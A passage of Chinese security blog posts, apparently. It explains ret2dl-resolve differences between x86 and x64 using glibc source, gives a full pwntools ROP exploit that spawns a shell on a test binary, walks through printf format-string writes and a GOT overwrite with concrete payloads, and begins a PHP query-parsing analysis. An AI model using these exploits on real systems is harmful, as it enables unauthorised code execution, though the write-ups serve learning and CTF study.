ret2dl x64和x32的差异

0x00 写在前面

在看本篇文章之前,得需要了解一下ret2dl的原理,可能更好理解一点。在学习研究通过_dl_runtime_reslove实现函数延迟绑定的时候,对比x64和x32有很多地方不一样,通过查询相关资料也没有比较好的解释,比如看雪的这篇文章 https://bbs.pediy.com/thread-227034.htm

里面提到在x64上使用这种方法的时候,需要把link_map+0x1c8置零,但是为什么呢?

下面的评论也有问,为什么在往bss写在_dl_fixup过程中需要用到相关伪造的结构,需要在bss上再加一段偏移?

也有人对此文件进行回答,因为在_dl_fixup会引用到位置较低的地方。什么是引用较低的位置?

如果你去查相关为什么要把link_map+0x1c8置零的?

有相关文章会告诉你如下的解释:

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

DT_VERSYM是与Symbol table 对应的一张存储每个符号版本index的表,相当于一个ElfW(Half) 数组。

这里没有把ElfW这个宏拆开,这里是代指Elf64_HalfElf32_Half两种结构,可以看到每次取的版本序列下标是在SYMTAB节里面的偏移地址。

我们都只知道这里偏移相对来说是比较大的,使得vernum[ELFW(R_SYM)(reloc->r_info)]读取出错。

其实我在这里对这个回答打了一个大大疑问,真的是这样吗??

这个解释是针对x64情况下解释,为什么我会有疑问呢?

为什么在x32下,没人关注这个问题呢?是否和前面提到的为什么要在bss前面在偏移遥想呼应呢?

于是有了此文,希望此文能给初识ret2dl的同学解惑。

0x01 DT_VERSYM

为了能从根本解决上面的问题,只有去读glibc的相关源码。

首先我们解决为什么大多数人只在x64上关注_dl_fixup里面对符号版本的读取。

我们先来了解一下,引用符号版本到底有什么用?

_dl_fixup调用过程有一个check_match函数这个函数是一个验证函数,整个查找在动态库里面查找对应符号的位置过程

首先会通过符号名字的hash值在动态库的HASHTABLE找到对应的位置,然后应用调用check_match这个函数进一部验证找到的符号位置,是不是我们需要,会通过两个方面,符号名的对比和符号版本的对比。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if (version != NULL)
{
if (__glibc_unlikely (verstab == NULL))
{
....
}
else
{
/* We can match the version information or use the
default one if it is not hidden. */
ElfW(Half) ndx = verstab[symidx] & 0x7fff;
if ((map->l_versions[ndx].hash != version->hash
|| strcmp (map->l_versions[ndx].name, version->name))
&& (version->hidden || map->l_versions[ndx].hash
|| (verstab[symidx] & 0x8000)))
/* It's not the version we want. */
return NULL;
}
}
else
{
/* No specific version is selected. There are two ways we
can got here:

If the library does not provide symbol version information
there is no problem at all: we simply use the symbol if it
is defined.
if (verstab != NULL)
{
if ((verstab[symidx] & 0x7fff)
>= ((flags & DL_LOOKUP_RETURN_NEWEST) ? 2 : 3))
{
/* Don't accept hidden symbols. */
if ((verstab[symidx] & 0x8000) == 0
&& (*num_versions)++ == 0)
/* No version so far. */
*versioned_sym = sym;

return NULL;
}
}

If the library does not provide symbol version information there is no problem at all

对应符号版本的处理有两种,如果指定了version的值,就严格的进行对比,如果没有指定version的值,即version的值为NULL的情况,可以看到上面的引用,那也是没有问题的

我们可以认为原二进制文件是没有提供DT_VERSYM节的,这是无关紧要的,只要找到与符号名字对应的符号,返回即可。这里需要我们对version有一个基本的了解。

再回到关于version的获取上:

1
2
3
4
5
6
7
8
9
10
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

先取对应符号版本r_found_version结构在l->l_versions的下标

下标的位置等于 DT_VERSYM节位置加上sizeof(ElfW(Half))*(ELFW(R_SYM) (reloc->r_info))

这个和取符号ELfW(Sym)的结构的时候一模一样,DT_SYMTAB节的位置加上sizeof(ElfW(Sym))*(ELFW(R_SYM) (reloc->r_info))

不同点在于两个节的基址和相关结构的大小不一样,偏移都是一样的。

在这里我们需要考虑这两个地方的取值

首先一定要保证ELfW(Sym)的取值绝对要一定正确,寻找符号需要的变量全在里面,所以这个时候是没办法去兼顾version的取值。

在version的取值上,我们不能再去考虑为对应符号伪造正确的version下标,我们可以做到让下标等于0,l->l_versions[0]一般来说这个位置的r_found_version的结构都是NULL,即保证了version是NULL

前面又说道,我们可以不指定符号的版本。那么问题来了,我们如何保证取到ndx的值等于0呢?

DT_VERSYM节的位置其实就是.gnu.version的节的位置,我们首先要确定这个节的基址,目标文件在装载的时候,相同类型段(这里用段,段一般用来只节在文件中称呼),会合并到一起,减少分页产生的碎片。具体的位置,我们可以用readelf来看一下

1
2
3
4
5
6
7
8
9
10
11
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got

可以看到.gnu.verison节在运行的时候,跟在.dynsym(DT_SYMTAB).dynstr(DT_STRTAB)节的后面,得想个办法让从.gnu.version节开始的偏移,落在0x00上。

这个时候我们再来看一下运行时的内存分布,下面内存分布是elf32的分布。

1
2
3
4
5
gef➤  vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out
0x08049000 0x0804a000 0x00000000 r-- /root/c_test/2019-07-31/32.out
0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

我们能很快找到其实是落在

0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out

这一块的内存分布上的,我们再去看看这块内存分布上最后一个节的end结束在哪?

.eh_frame end_addr = 0x8048768 , 按照分页的机制,每个节应该每次都是从0x1000开始的,就算不足0x1000,也要用一页。

所以从0x08048768-0x08049000这一段都是0x00填充的,我们得想办法,让version_ndx的偏移落到这个部分。

我们来算一下需要多少偏移量才行:

.gnu.verison start_addr =0x080482E4 (0x8048768-0x080482E4) / sizeof(ElfW(Half)) = 0x242

在x64和x32上ElfW(Half)的结构都是2个字节。

想一下至少得0x242个偏移量,这个偏移量得看取ElfW(Sym)这个过程允不允许。

伪造的相关结构要放在bss上,我们来看一下最大的偏移量是多少:

.dynsym start_addr = 0x080481D8 .bss对应的内存块落在 0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

即可计算得

(0x0804b000-0x080481D8) / sizeof(Elf32_Sym) = 0x2e2

经过计算0x2e2 > 0x242,所以我们是可以做到让version_ndx落在未使用的0x00上的,只需要把伪造的结构往.bss位置后面移动。

这里我们解答了为什么要在.bss节上还有加偏移量,不直接在.bss节上直接写。上面都是在x32的情况下。

所以我们不用考虑要去位置version结构了,下面再来看看x64下的情况,还是按照上面分布计算上面的两个偏移量 内存分布如下

1
2
3
4
5
6
7
gef➤  vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /root/c_test/2019-07-31/64.out
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /root/c_test/2019-07-31/64.out
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /root/c_test/2019-07-31/64.out

.gnu.verison start_addr =0x400429 即落在第一个内存页上,计算如下 (0x401000-0x400429) / sizeof(ElfW(Half)) = 0x5eb 即需要最小偏移量

.bss star_addr = 0x404040 即落在最后一个内存页上计算如下 (0x405000-0x404000) /sizeof (Elf64_Sym) = 0xaa,即最大偏移量。

0xaa < 0x5eb我们没办法让verison_ndx落在未使用的页空间上。x64和x32的情况出现了不同,这也是x32为什么没人去考虑version的问题

有人可能会想,我们也没必要让version落在未使用的页上,但是这具有随机性,不具有通用性。可能可以实现,也可能不可以,所以我们必须排除随机。

所以在x64上我们得想办法让version不成为我们的阻碍。继续看_dl_fixup的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_ve

rsion *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
...
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

看第一个if分支,我可以让第一个if不成立直接进入else分支,这个分支会直接返回 (l->l_addr+ sym->value)的地址,可能有的同学会想进入第一个if分支,让紧接的if语句不成立,不是同样可以让version=NULL吗?

那我们接着往下看,接着会进入_dl_lookup_symbol_x函数的调用,通过遍历scope和其中的link_map的链表查找符号的位置

1
2
3
4
5
6
7
8
/* Search the relevant loaded objects for a definition.  */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
{
int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
&current_value, *scope, start, version, flags,
skip_map, type_class, undef_map);
if (res > 0)
break;

scope = l->l_scope ,

再回过来头想一想if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

如果我想让这个不成立,那我们就得伪造l->l_info[VERSYMIDX (DT_VERSYM)]这个位置为NULL,那就得知道l的位置,如果l的位置无法泄露,那么我们就得重新伪造一个link_map

再看上面,那么这个link_mapl_scope也要伪造,l_scope是一个保存r_scope_elem的二级指针,r_scope_elem结构保存是link_map的指针数组,前面l是不知道的,那么这里这个l_scope的也是没办法伪造的,所以这里这条路走不了。

还是得看else的那个分支,其实else里面的(l->l_addr+ sym->value)就相当于一个任意地址执行,如果我们想要执行system,我们知晓libc的版本,那么这里我们需要一个地址已经绑定了的符号,__libc_start_main是一个不错的符号位置

这里需要把l->l_addr的值等于__libc_start_main的地址,然后伪造lsym->value的值为libc里面符号的偏移量。所以这里直接把got表里面__libc_start_main的位置当做link_map,_dl_fixup里面用link_map取了STRTAB,SYMTAB ,JMPREL的三个节的dyn结构,所以还需要去相应的位置写入伪造的结构。

切记,这里不能像在x32用leave; ret的gadget来劫持栈把rop链也放在bss节上,因为这里的_dl_runtime_reslove变成了_dl_runtime_resolve_xsave,在栈上有取地址写的操作。会造成地址写不了。

还有在_dl_fixup最后return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);里面注意在rel_addr可写,可以修改伪造rela的结构让它指到libc.bss节上。

下面贴上,我自己按照理解写的x64下,只有read的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
context.log_level='debug'

leave_ret = 0x0000000000401194 #leave ; ret

read_plt_addr = 0x401050

read_got_addr = 0x404028

dl_addr =0x401026
#strtab_addr = 0x4003D8
#symtab_addr = 0x400330
#jmprel_addr = 0x4004A0
bss_addr = 0x404040 + 0x30


libc_start_main_got_addr = 0x403FF0

system_offset = 0x20a10


buffer_area = bss_addr + 8*6 + 0x10 + 0x100
strtab_addr = symtab_addr = jmprel_addr = buffer_area


fake_dyn = p64(0)
fake_dyn +=p64(buffer_area)
fake_dyn_addr = bss_addr + 8*6

fake_link_map = p64(libc_start_main_got_addr) #l_addr
fake_link_map += "\x00"*(0x68-len(fake_link_map))+p64(fake_dyn_addr) #link_map+0x68 == strtab
fake_link_map += p64(fake_dyn_addr)
fake_link_map += "\x00"*(0xf8-len(fake_link_map))+p64(fake_dyn_addr) # link_map+0xf8 == jmprel



#rel
#typedef struct
#{
# Elf64_Addr r_offset; /* Address */
# Elf64_XWord r_info; /* Relocation type and symbol index */
# Elf64_Sxword r_addend; /* Addend */
#} Elf64_Rela;

fake_symtab_offset = 1
fake_rela = p64(0x197050) #setbuf_got_Addr
fake_rela += p64((fake_symtab_offset << 32) + 7)
fake_rela += p64(0)

#sym
#typedef struct
#{
# Elf64_Word st_name; /* Symbol name (string tbl index) */
# unsigned char st_info; /* Symbol type and binding */
# unsigned char st_other; /* Symbol visibility */
# Elf64_Section st_shndx; /* Section index */
# Elf64_Addr st_value; /* Symbol value */
# Elf64_Xword st_size; /* Symbol size */
#} Elf64_Sym;
fake_strtab_offset = 0x18 + 0x18
fake_sym = p32(fake_strtab_offset)
fake_sym +=chr(0x12)
fake_sym +=chr(0x3)
fake_sym +=p16(0)
fake_sym +=p64(0x20a10)
fake_sym +=p64(0)

sh = process('./64.out')
#sh = process('./64.out')
raw_input('aaaa')

payload = "A"*112
payload += p64(bss_addr)
payload += p64(0x4011F2) # pop rbx , pop rbp , pop 12, pop13, pop r14, pop r15 , ret
payload += p64(0)
payload += p64(1)
payload += p64(read_got_addr)
payload += p64(0)
payload += p64(bss_addr)
payload += p64(0x200)
payload += p64(0x4011D8)# mov rdx ,15;mov rsi, r14;mov edi, r13d;call qword ptr [r12+rbx*8];add rbx, 1;cmp rbp, rbx;jmp 0x04011ee;
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x68_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x68) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x70_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x70) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0xf8_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0xf8) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx
payload += p64(bss_addr) # pop rbp
payload += p64(0) # pop 12
payload += p64(0) # pop 13
payload += p64(0) # pop 14
payload += p64(0) # pop 15
#payload += p64(leave_ret) #ret
payload += p64(0x4011FB)

bin_sh_addr = buffer_area + 0x18 + 0x18 + 0x7

payload += p64(bin_sh_addr)
payload += p64(dl_addr)
payload += p64(libc_start_main_got_addr) #link_map_address
payload += p64(0)

payload += "M"*(0x200-len(payload))


#payload += p64(read_plt_addr)
#payload += p64(0)
#payload += p64(bss_addr)
#payload += p64(0x200)
#payload += p64(leave_ret)
#payload += "M"*(0x200-len(payload))
sh.send(payload)

rop = p64(0)
rop += p64(0x4011FB) # pop rdi;ret
rop += p64(bin_sh_addr)
rop += p64(dl_addr)

rop += p64(libc_start_main_got_addr) #link_map_address
rop += p64(0) # fake_rela_offset

strings = "system\x00/bin/sh\x00\x00"
payload = rop + fake_dyn +fake_link_map + fake_rela + fake_sym + strings
payload += "M"*(0x200-len(payload))
sh.send(payload)
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))


sh.interactive()

Screenshot%20from%202019-08-01%2001-27-24

在这里面其实fake_link_map这个没必要写,但是这段占用的空间不能去

为什么你写的时候就知道了,还一些细节在里面,如果大家有兴趣,或者不懂,或者有疑问的地方都可以问我。

不知道有多少人真正懂了ret2dl,说实话glibc的源码里面宏看的我头疼!!!

printf-of-pwn

关于printf格式化的输出的利用,分为两种读和写。把实践在这里总结一下。

根据例子具体学习一下,这个例子是elf32下的,和在elf64下有一点差异分开来说吧。

这是在ghidra下的反汇编,ghidra很好用,有想尝试的同学可以去试一下。

Screenshot%20from%202019-07-20%2000-24-53

逻辑上很简单,secret是一个全局变量,在.bss里面没有初始化,在看一下give_shell的定义

Screenshot%20from%202019-07-20%2014-13-15 give_shell应该相当于一个one_gadget,所以这里的基本第一思路是让secert == 0x539成立。跳转到give_shell上。 这里也可以再看一下checksec,

Screenshot%20from%202019-07-20%2014-17-19

就开了一个NX,在这里并没有影响,跟着思路走,我们需要把secert的覆盖成0x539,那么需要首先拿到secert的地址,在进行写。这里普及下用printf写的过程。

在printf输出格式里面有一个 n$,可以去指定输出参数。例如%5$d,会把printf中的format后面第5个参数以整形的格式输出。printf接受 的是不定参数,参数在栈上按顺序依次取,所以在这里是可以来泄露栈上数据的,那么如何用printf来写呢%n这个输出格式化用来记录前面有多少位的输出,如何写到后面对应参数里面,所以这里我们可以通过%n$n进行任意地址写东西。(前面那个n是指的第几个参数,别弄混)。

这里第一步我们需要找到secert的地址,去看看printf对应的参数栈上有没有我们需要的secert的地址,在ghidra里面找到secert的地址是0804a028,可以直接去.bss节里去看。 接着拿gdb打印一下printf的参数栈 printf的参数栈,这里停到call print@plt这一步,看栈的分布,第一个是format的地址,从第二个开始。参数栈分布如下。

Screenshot%20from%202019-07-20%2014-45-02

可以找到,刚好有我们需要的0x0804a028,并且处于第七个参数的位置。可以看到这里参数栈的分布是连续的,这是在elf32下printf的特点,后面引申一下elf64下的printf的特点。

所以这里已经可以开始构造了,其实payload也很简单%1337x%7$n,注意一下main里面是通过参数项获取的输入的,所以这里 ./printf_pwn12 `echo -e '%1337x%7$n'` 便可以转到shell上。

Screenshot%20from%202019-07-20%2014-54-38

到这里其实已经结束了,但是想搞一些花的,咱们一步一步来。假设secert地址不在栈原本上咋办呢?,这里我们得先把地址写到栈上,然后再用。首先我们要确定通过参数项传入我们的输入在栈上的什么位置。这里先定位一下输入的字符位置在哪。

停到push eax即format入栈的地方,所以这个eax包含就是format字符串的位置,如图:

Screenshot%20from%202019-07-20%2015-03-23

我指定的参数项是aaaaaaaaaaaaaaaaa,这里eax也指向他的位置为0xffffd44a,这里需要需要细节主要一下,你如果细心的话会发现这个这个字符串的起始地址,并没有和栈对齐,它的栈的地址的尾数是a,并不是4的倍数,所以这个字符串并不在printf参数项里面,而且具体的位置是随着这个字符串的大小变的。如果我们想用这个字符串,必须让他在栈上对齐。

这里有一个小方法,我们依次指定输入为 aaaaaaaaaaaaaaa....看它什么时候是对齐的。这里并没有从一个a开始,因为4位以上肯定能覆盖一个单元。这里当输入6个a时aaaaaa刚好对齐,所有输入的规律应该为 'aaaaaa'+n*4即后面的数据以4的倍数增长,所以需要根据后面输入情况padding。

这里我们假设的是参数栈上没有secert的地址,所以这里我们要先构造一个secert的地址,然后在用这个构造的secert的地址写。 第一步构造

1
2
'\x28\xa0\x04\x08'+'%1333x'+'%100$n'+'aaaaaa'
--secert-address---1337-4-------- -padding---
注意一下padding放在的最后,前面好解,后面这个100是怎么来的,根据前面我们得到format的地址0xffffd44a,和printf,第一个参数的地址0xffffd1a4,大概计算一下大概相差170个参数,具体参数偏移需要运行时来确定,所以这里100想当一个占位符,'%1326x'+'%100$n'这里刚好是12个字符不需要padding。

第二步,找'\x28\xa0\x04\x08'是第几个参数。 还是停在最后一个push eax之前, Screenshot%20from%202019-07-20%2015-54-22

可以看到eax为0xffffd444正确的指向了我们的输入。此时的esp是刚好执行第一个参数的,所以简单计算,\x28\xa0\x04\x08应该是第173个参数。接下来我们验证一下对不对,如图成功进入shell。 Screenshot%20from%202019-07-20%2016-09-27

再进一步来点花的,有没有办法,不修改secert的值也能进入shell呢?如果第一个printf的时候,把got.plt表里puts地址成give_shell怎么样呢?在调用puts的时候直接进入give_shell,其实这里是不行的,回过头看一下get_shell里面的第一行,又一次调用了puts,这样会造成死循环。虽然本题不行,但是我们还是来说一下怎么修改got.plt

我先可以来一下程序是怎样去调用一个函数的,直接看main函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
gef➤  disas main
Dump of assembler code for function main:
...
0x080484d5 <+65>: sub esp,0xc
0x080484d8 <+68>: push 0x8048590
0x080484dd <+73>: call 0x8048330 <puts@plt>
0x080484e2 <+78>: add esp,0x10
0x080484e5 <+81>: mov eax,0x0
0x080484ea <+86>: mov ecx,DWORD PTR [ebp-0x4]
0x080484ed <+89>: leave
0x080484ee <+90>: lea esp,[ecx-0x4]
0x080484f1 <+93>: ret
End of assembler dump.
看一下调用puts的过程。首先是call 0x8048330,这个0x8048330其实是puts在plt表上的位置。再去看一下0x8048330是进行的什么过程
1
2
3
4
5
6
gef➤  disas 0x8048330
Dump of assembler code for function puts@plt:
0x08048330 <+0>: jmp DWORD PTR ds:0x804a010
0x08048336 <+6>: push 0x8
0x0804833b <+11>: jmp 0x8048310
End of assembler dump.
第一步是jmp DWORD PTR ds:0x804a010相当于jmp DWORD PTR 0x804a010,跟着0x804a010你会发现这个地方存储是0x08048336,即下一条指令push 0x8的地址,这是plt的机制,第一次调用函数时,会跳到plt[0],通过动态链接,并patch got.plt表相应函数的真实地址。具体plt和got知识在这里就介绍都这里。
1
2
gef➤  x/1x 0x804a010
0x804a010 <[email protected]>: 0x08048336
所以这里知道了在调用puts的时候,回调到0x804a010这个地址存储的具体地址下,如果我们把0x804a010这里地址里面存储的地址换成give_shell不就行了。所以我们的目标是对0x804a010写入give_shell的地址0x804846b.这个写入的数据比较大,不像前面的1337,这里需要分割一下,分割也是有策略。依次从低位写到高位,不能从高位开始写,并且保证写的数据大小也是从小到大。
1
0x804846b =>  0x804 0x84 0x46
第一眼这里可以分成一个2字节和两个1字节。而且数据大小也是从下到大,pwntool也有专门分割函数,但是需要自己padding一下,保证对齐,并指定首参数的偏移量。这里完整叙述一下手工怎么拼。

上面分为了3 个部分,首先根据要写入的地址0x804a010列出这三个地址,从小到大分别为0x804a0100x804a0110x804a012,接着直接拼接:

1
'\x10\xa0\x04\x08'+'\x11\xa0\x04\x08'+'\x12\xa0\x04\x08'+'%95x%173$hhn%25x%174$hhn%1920x%175$nAAAAAA'
从前面知道format的偏移是173,这是相对的,所以不会改变。这里看见我用了两个%hhn%hhn换成%n也没事,这是只是为了保证AAAAAA`前面字符串长度是4的倍数。接着我们可以在gdb下试一下,看看调用puts是否跳转到了give_shell上。 Screenshot%20from%202019-07-20%2017-21-59

可以看到got表上的位置确实变成了give_shell的位置0x0804846b,可以继续执行一下看看 Screenshot%20from%202019-07-20%2017-23-18

上面都是elf32 下的printf,在elf64的printf有点不一样,关于参数的寻址是不一样的。去看看printf的具体的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gef➤  disas printf
Dump of assembler code for function __printf:
=> 0x00007ffff7e40560 <+0>: sub rsp,0xd8
0x00007ffff7e40567 <+7>: mov QWORD PTR [rsp+0x28],rsi #格式化参数1
0x00007ffff7e4056c <+12>: mov QWORD PTR [rsp+0x30],rdx #格式化参数2
0x00007ffff7e40571 <+17>: mov QWORD PTR [rsp+0x38],rcx #格式化参数3
0x00007ffff7e40576 <+22>: mov QWORD PTR [rsp+0x40],r8 #格式化参数4
0x00007ffff7e4057b <+27>: mov QWORD PTR [rsp+0x48],r9 #格式化参数5
0x00007ffff7e40580 <+32>: test al,al //判断浮点数的个数
0x00007ffff7e40582 <+34>: je 0x7ffff7e405bb <__printf+91>
0x00007ffff7e40584 <+36>: movaps XMMWORD PTR [rsp+0x50],xmm0 |
0x00007ffff7e40589 <+41>: movaps XMMWORD PTR [rsp+0x60],xmm1 |
0x00007ffff7e4058e <+46>: movaps XMMWORD PTR [rsp+0x70],xmm2 |
0x00007ffff7e40593 <+51>: movaps XMMWORD PTR [rsp+0x80],xmm3 |
0x00007ffff7e4059b <+59>: movaps XMMWORD PTR [rsp+0x90],xmm4 |
0x00007ffff7e405a3 <+67>: movaps XMMWORD PTR [rsp+0xa0],xmm5 |
0x00007ffff7e405ab <+75>: movaps XMMWORD PTR [rsp+0xb0],xmm6 |
0x00007ffff7e405b3 <+83>: movaps XMMWORD PTR [rsp+0xc0],xmm7 |
0x00007ffff7e405bb <+91>: mov rax,QWORD PTR fs:0x28
0x00007ffff7e405c4 <+100>: mov QWORD PTR [rsp+0x18],rax
0x00007ffff7e405c9 <+105>: xor eax,eax
0x00007ffff7e405cb <+107>: lea rax,[rsp+0xe0]
0x00007ffff7e405d3 <+115>: mov rsi,rdi
0x00007ffff7e405d6 <+118>: mov rdx,rsp
0x00007ffff7e405d9 <+121>: mov QWORD PTR [rsp+0x8],rax
0x00007ffff7e405de <+126>: lea rax,[rsp+0x20]
0x00007ffff7e405e3 <+131>: mov QWORD PTR [rsp+0x10],rax
0x00007ffff7e405e8 <+136>: mov rax,QWORD PTR [rip+0x162959] # 0x7ffff7fa2f48
0x00007ffff7e405ef <+143>: mov DWORD PTR [rsp],0x8
0x00007ffff7e405f6 <+150>: mov rdi,QWORD PTR [rax]
0x00007ffff7e405f9 <+153>: mov DWORD PTR [rsp+0x4],0x30
0x00007ffff7e40601 <+161>: call 0x7ffff7e379f0 <_IO_vfprintf_internal>

在elf64中函数传参用前六个参数用传参rdirsiraxrcxr8r9,如果多余的就用在call printf之前push到栈里,这里也可以看到,参数栈也不是连续的,同时也保存了xmm寄存器的状态。所以在计算参数偏移的时候,偏移量应该是5+(目的地址- ret)/8,这里需要注意一下。

PHP内核之请求参数解析

0x00 前言

前些日子看见了关于用php在处理请求的查询参数特殊性来绕过相关IDS,IPS检测一文https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/。确实在我看来确实可以绕过很多特殊的规则。原文只是展示了结果,我想看看为什么php内部要这么处理,这么做的意义在哪?一开始我确实不明白,因为例如GET参数,最终会写入$_GET[]这个全局的数组里面,数组在PHP就是HashTable,在我印象里面需要对里面的key特殊处理吗?当时十分不解,遂有了下文。

0x01 调用链

在探究这个问题之前,先简单的想一下,整个处理流程。先得拿到查询语句,在进行分割,有点同学说可以直接看parse_str处理过程不就行了?这里我尽量模拟真实的请求过程,说到这个问题,让我想起了p牛曾经提到的一个问题,在php-cli下怎么传$_GET$_POST参数?因为时间问题,最后也没有深究,但是肯定是可以的,因为$_GlOBAL里面是定义了这两个变量的。回归正题,处理请求之前,我们得先确定用什么sapi吧,常见的cli,apache2Handler,cgi,fastcgi等等。这里sapi选择一下较为常见php_mod的情况下apache2handler

php被编译成了apache扩展形式,当php_mod加载时,每一个请求的apache_hook_handler就多了一个的php_handler,如下

1
ap_hook_handler(php_handler, NULL, NULL, APR_HOOK_MIDDLE);
我们更关注的是SG(request_info)的初始化,不同的sapi其中一个不同之处就在于这个地方,里面有随后我们的需要的SG(request_info).query_string,这个过程发生在php_apache_request_ctor()中,当初始化完成,apache将控制权交给了php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int php_request_startup(void)
{
int retval = SUCCESS;

zend_interned_strings_activate();
....
zend_try {
PG(in_error_log) = 0;
PG(during_request_startup) = 1;

php_output_activate();

/* initialize global variables */
PG(modules_activated) = 0;
PG(header_is_being_sent) = 0;
PG(connection_status) = PHP_CONNECTION_NORMAL;
PG(in_user_include) = 0;

zend_activate();
sapi_activate();
...
php_hash_environment();
zend_activate_modules();
PG(modules_activated)=1;
} zend_catch {
retval = FAILURE;
} zend_end_try();

SG(sapi_started) = 1;
return retval;
}
这里注意php_hash_environment() 这个函数就是用来初始化每个请求的相关全局变量的函数,跟一下。
1
2
3
4
5
6
7
PHPAPI int php_hash_environment(void)
{
memset(PG(http_globals), 0, sizeof(PG(http_globals)));
zend_activate_auto_globals();
...
return SUCCESS;
}
继续跟进一下zend_activate_auto_globals()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ZEND_API void zend_activate_auto_globals(void) /* {{{ */
{
zend_auto_global *auto_global;

ZEND_HASH_FOREACH_PTR(CG(auto_globals), auto_global) {
if (auto_global->jit) {
auto_global->armed = 1;
} else if (auto_global->auto_global_callback) {
auto_global->armed = auto_global->auto_global_callback(auto_global->name);
} else {
auto_global->armed = 0;
}
} ZEND_HASH_FOREACH_END();
}
可能一些同学看到这里会有一点小疑惑,不懂是什么意思,这里涉及到超全局变量相关结构。
1
2
3
4
5
6
typedef struct _zend_auto_global {
zend_string *name; //超全局变量的变量名
zend_auto_global_callback auto_global_callback;//处理超全局变量的handler
zend_bool jit;
zend_bool armed;
